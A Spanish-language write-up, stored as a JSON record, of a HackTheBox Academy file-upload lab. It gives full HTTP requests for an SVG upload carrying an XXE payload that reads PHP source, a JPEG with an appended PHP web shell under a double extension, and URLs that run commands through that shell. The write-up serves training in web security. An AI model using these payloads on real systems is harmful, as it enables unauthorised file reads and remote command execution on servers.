{"url":"https://writeups.es/writeups/hackthebox/skills-assessment-file-upload-attacks/juanluismm520","machine":{"name":"Skills Assessment - File Upload Attacks","slug":"skills-assessment-file-upload-attacks","platform":"HackTheBox","platform_slug":"hackthebox","difficulty":"medio","difficulty_label":"Medio","operating_system":["Linux"],"tags":["web","lfi"],"original_url":"https://academy.hackthebox.com/app/module/136/section/1310"},"author":{"nickname":"juanluismm520","url":"https://writeups.es/u/juanluismm520","bio":null},"summary":"Nos dan una web vulnerable a File Upload, debemos usar todo lo dado en el módulo para conseguirlo.","outline":[{"level":2,"title":"Resumen","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-file-upload-attacks/juanluismm520#resumen"},{"level":2,"title":"Superficie de ataque","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-file-upload-attacks/juanluismm520#superficie-de-ataque"},{"level":2,"title":"Análisis","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-file-upload-attacks/juanluismm520#analisis"},{"level":2,"title":"Explotación","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-file-upload-attacks/juanluismm520#explotacion"},{"level":3,"title":"Payload final","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-file-upload-attacks/juanluismm520#payload-final"}],"cves":[],"code_languages":["http"],"stats":{"words":415,"reading_minutes":2,"votes":0},"content_markdown":"## Resumen\n\nNos dan una web vulnerable a File Upload, debemos usar todo lo dado en el módulo para conseguirlo. \n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/c856ce6e-91b8-465a-896c-d3e09d2cf5a2.webp)\n\n\n## Superficie de ataque\n\n| Endpoint | Método | Parámetros | Observaciones |\n|----------|--------|------------|---------------|\n| /contact/upload.php   | POST   | imagen | **_Vulnerable!_**              |\n| /contact/submit.php | GET | | No vulnerable, probablemente no sirve para nada\n\n## Análisis\n\nNos da esta pista:\nTry to fuzz for non-blacklisted extensions, and for allowed content-type headers. If you are unable to locate the uploaded files, try to read the source code to find the uploads directory and the naming scheme.\n\nPor lo que voy paso a paso. Para resolver esta máquina necesité 2 horas debido a que estuve dando vueltas hasta que encontré la solución, aquí pondré la solución directamente (sin indicar la flag) para no hacer muy extenso el writeup. \n\n## Explotación\n\n```http\nPOST /contact/upload.php HTTP/1.1\nHost: 154.57.164.75:32638\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://154.57.164.75:32638/contact/\nX-Requested-With: XMLHttpRequest\nContent-Type: multipart/form-data; boundary=----geckoformboundary671c2221cd333985644e270b4f1f93b\nContent-Length: 208151\nOrigin: http://154.57.164.75:32638\nDNT: 1\nConnection: keep-alive\nPriority: u=0\n\n------geckoformboundary671c2221cd333985644e270b4f1f93b\nContent-Disposition: form-data; name=\"uploadFile\"; filename=\"img.jpg\"\nContent-Type: image/jpeg\n\nÿØÿà .... (todo el contenido de la imagen)\n```\n\nNos devolvía un código en base64, pero no nos indicaba por ningún lado ninguna pista, ni la carpeta de subida de ficheros. \nTambién intenté hacer ffuf a `/contact/FUZZ` pero no sirvió de nada, la imagen se subió correctamente pero no había forma de encontrar la carpeta donde se sube ese fichero.\n\nCon el intruder a esa petición y usando el diccionario de web-extensions.txt (dentro de seclist) y filtrando por los mensajes de error que me salían: `Only images are allowed` y `Extension not allowed` logré sacar lo siguiente:\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/afa02348-06e4-4048-bf20-d850b07b67fd.webp)\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/a5ada7bc-51c1-453f-8dbd-e2c50e680815.webp)\n\n\nLo interesante de esto, es que `.log` y `.reg` no había problemas en subirlos y devolvía como si fuera una imagen. Pero este análisis realmente nos sirvió para saber que por ejemplo la extensión `.phar` pasa el primer filtro, ya que nos devolvía un  `Only images are allowed` y dicha extensión es capaz de ejecutar código php\n\n\n\n### Payload final\nTras mucha mucha búsqueda, encontré que se podían subir archivos svg (pese a que no estaba en la whitelist). Lo conseguí ejecutando esta petición:\n\n```http\nPOST /contact/upload.php HTTP/1.1\nHost: 154.57.164.77:30503\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://154.57.164.77:30503/contact/\nX-Requested-With: XMLHttpRequest\nContent-Type: multipart/form-data; boundary=----geckoformboundaryd5cb21e20f89248934102206832e4147\nContent-Length: 418\nOrigin: http://154.57.164.77:30503\nDNT: 1\nConnection: keep-alive\nPriority: u=0\n\n------geckoformboundaryd5cb21e20f89248934102206832e4147\nContent-Disposition: form-data; name=\"uploadFile\"; filename=\"try.phar.svg\"\nContent-Type: image/jpeg\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE svg [ <!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=upload.php\"> ]>\n<svg>&xxe;</svg>\n------geckoformboundaryd5cb21e20f89248934102206832e4147--\n```\n\nNos devolvía un b64 que incluso burp podía descifrar. Lo de leer `upload.php` lo hice debido a que lo ponía en la pista que nos daba HTB. Pues debíamos leer el código fuente para saber donde se almacenan los ficheros. \n\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/3e902c86-4096-4ef7-80cf-64d7790d8848.webp)\n\n\nSimplemente, leyendo uploads.php nos damos cuenta de que la imagen se sube a la carpeta `/contact/user_feedback_submissions/fecha_nombrefichero.extension` donde fecha está en formato YYMMDD (por ejemplo en mi caso 260823_img.phar.jpg). \n\nNos faltaría ejecutar la petición `upload` de nuevo donde le coloquemos una webshell. \n\n```http\nPOST /contact/upload.php HTTP/1.1\nHost: 154.57.164.77:30503\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://154.57.164.77:30503/contact/\nX-Requested-With: XMLHttpRequest\nContent-Type: multipart/form-data; boundary=----geckoformboundaryd5cb21e20f89248934102206832e4147\nContent-Length: 418\nOrigin: http://154.57.164.77:30503\nDNT: 1\nConnection: keep-alive\nPriority: u=0\n\n------geckoformboundaryd5cb21e20f89248934102206832e4147\nContent-Disposition: form-data; name=\"uploadFile\"; filename=\"img.phar.jpg\"\nContent-Type: image/jpeg\n\nÿØÿà\n<?php system($_REQUEST['cmd']); ?>\n```\n\nEn mi caso cogí una imagen jpg real y luego le puse `<?php system($_REQUEST['cmd']); ?>` ya bastaría con acceder a `http://154.57.164.77:30503/contact/user_feedback_submissions/260823_img.phar.jpg?cmd=whoami` y vemos como efectivamente funciona:\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/d7f4b674-ac50-4abe-b54f-3a34ce3067a4.webp)\n\nHacemos `http://154.57.164.77:30503/contact/user_feedback_submissions/260823_img.phar.jpg?cmd=ls%20/` y nos mostrará el nombre de la flag y posteriormente sería mostrarla con un cat:\n`http://154.57.164.77:30503/contact/user_feedback_submissions/260823_img.phar.jpg?cmd=cat%20/flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt`\n\nTerminando así el módulo correctamente\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/1ced7bba-30a2-467c-a03e-a4b7a29d1757.webp)\n\n","published_at":"2026-08-23T15:53:56.249509+00:00","updated_at":"2026-08-23T16:09:28.092861+00:00","license":"CC BY-SA 4.0","attribution":"Writeup de juanluismm520 publicado en writeups.es — https://writeups.es/writeups/hackthebox/skills-assessment-file-upload-attacks/juanluismm520"}